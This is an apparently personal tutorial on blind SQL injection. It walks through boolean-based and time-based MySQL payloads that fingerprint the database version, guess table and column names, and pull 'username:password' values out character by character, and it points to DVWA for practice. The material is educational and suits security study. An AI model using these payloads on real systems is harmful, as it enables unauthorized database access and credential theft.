While preparing for an upcoming presentation, I came across Blind SQL Injection. Following steps I found helpful and you might find it useful.

There are 2 types of Blind SQL Injections:
1. Normal Blind => Where you get TRUE/FALSE responses based on output of SQL query. This is visible change in page.
2. Totally Blind => No change in output for TRUE/FALSE condition.

1. Normal Blind:
Vulnerable URL:

hxxp://site/page.php?id=1

TRUE Response:
hxxp://site/page.php?id=1 AND 1=1

FALSE Response:
hxxp://site/page.php?id=1 AND 1=2

Check Version:
hxxp://site/page.php?id=1 AND substring(version(),1,1)=4 <-- FALSE Response
hxxp://site/page.php?id=1 AND substring(version(),1,1)=5 <-- TRUE Response

Database version is MySQL 5.x.x.

Table & Columns:
We need to guess table & column names. For this, subselect should be supported.

Check subselect:
hxxp://site/page.php?id=1 AND (select 1)=1 <-- This should be TRUE Response -- subselect supported

Guessing Table name:
hxxp://site/page.php?id=1 AND (select 1 from admin limit 0,1)=1 <-- FALSE
hxxp://site/page.php?id=1 AND (select 1 from users limit 0,1)=1 <-- TRUE

Table found 'users'.

Here we trying to get 1st row as 1, so when table exists, the query returns 1 and conditions is TRUE. When the table is not there, it's FALSE as there will be error in query execution which is not visible to us.

Guessing Columns:
hxxp://site/page.php?id=1 AND (select substring(concat(1,pass),1,1) from users limit 0,1)=1 <-- FALSE
hxxp://site/page.php?id=1 AND (select substring(concat(1,password),1,1) from users limit 0,1)=1 <-- TRUE

Column 'password' found.

Here we concating 1 with value from supplied column name & then check 1st char with substring(). If column exists, it'll return 1+(password value of 1st row) and substring will pull out 1st char which is '1' and comparing with 1 which will be TRUE. If column does not exists, it's return nothing, which FALSE the condition.

Data Mining:

We found table name as 'users' & columns as 'password' and 'username'.

hxxp://site/page.php?id=1 AND ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80 --> TRUE
hxxp://site/page.php?id=1 AND ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>90 --> TRUE
hxxp://site/page.php?id=1 AND ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>100 --> FALSE
hxxp://site/page.php?id=1 AND ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>96 --> TRUE
hxxp://site/page.php?id=1 AND ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>97 --> FALSE

This means 1st character is CHAR(97)='a'.

Here we are 1st concating username with password values for 1st row (Limit) which will be in formation like 'username:password' and then coverting 1st character of it in ascii and checking with numeric value. If response is TRUE, increase and check till get the first FALSE.

Now to know 2nd character, just increase the char in substring() and repeat the process.
hxxp://site/page.php?id=1 AND ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>80 --> TRUE
hxxp://site/page.php?id=1 AND ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>90 --> TRUE
hxxp://site/page.php?id=1 AND ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>100 --> FALSE
hxxp://site/page.php?id=1 AND ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99 --> TRUE
hxxp://site/page.php?id=1 AND ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>100 --> FALSE

Second character is CHAR(100) = 'd'

The end of string will be TRUE for >0 condition. So you will come to know that you reached the end.

2. Totally Blind:
As this type didn't have any TRUE/FALSE responses, we need to use time-based injection. Use IF() for condition and BENCHMARK() for time delay. These 2 can be used with UNION SELECT, but again finding correct number of columns is pain as there is no direct method i know.

Detecting Version:
hxxp://site/page.php?id=1 UNION SELECT IF(SUBSTRING(version(),1,1)=5,BENCHMARK(5000000,MD 5(CHAR(1))),null),null ---> delay of 5 secs (TRUE)
hxxp://site/page.php?id=1 UNION SELECT IF(SUBSTRING(version(),1,1)=4,BENCHMARK(5000000,MD 5(CHAR(1))),null),null ---> no delay (FALSE)
When the condition in IF() is TRUE, you can see a delay of few seconds in response as compared to the one when condition results in FALSE.

Table and column guessing:
As described in 'Normal Blind', the same process can be followed here to guess the table and column names.

Table name guessing:
hxxp://site/page.php?id=1 UNION SELECT IF(SUBSTRING((select 1 from users limit 0,1),1,1)=1,BENCHMARK(5000000,MD5(CHAR(1))),null), null

Delay if table 'users' exists or no delay if not exists.

Column name Guessing:
hxxp://site/page.php?id=1 UNION SELECT IF(SUBSTRING((select substring(concat(1,pass),1,1) from users limit 0,1),1,1)=1,BENCHMARK(5000000,MD5(CHAR(1))),null), null

Delay if column 'pass' exists or no delay if not exists.

Getting Data:
hxxp://site/page.php?id=1 UNION SELECT IF(SUBSTRING(user,1,1)=CHAR(97),BENCHMARK(5000000, MD5(CHAR(1))),null),null FROM users limit 0,1

Delay if first character of 1st row of 'user' column in 'users' table is 'a' or no delay if it's not.

This way we can mine data. As you seen, this is time consuming. Tools like SQLMap are really good at this type of operations. But it always good to know the basics before firing any tool. You can use DVWA Blind SQL Injection in 'Medium' security to test these attacks.

Hope this helps someone , someday, somewhere.

AMol NAik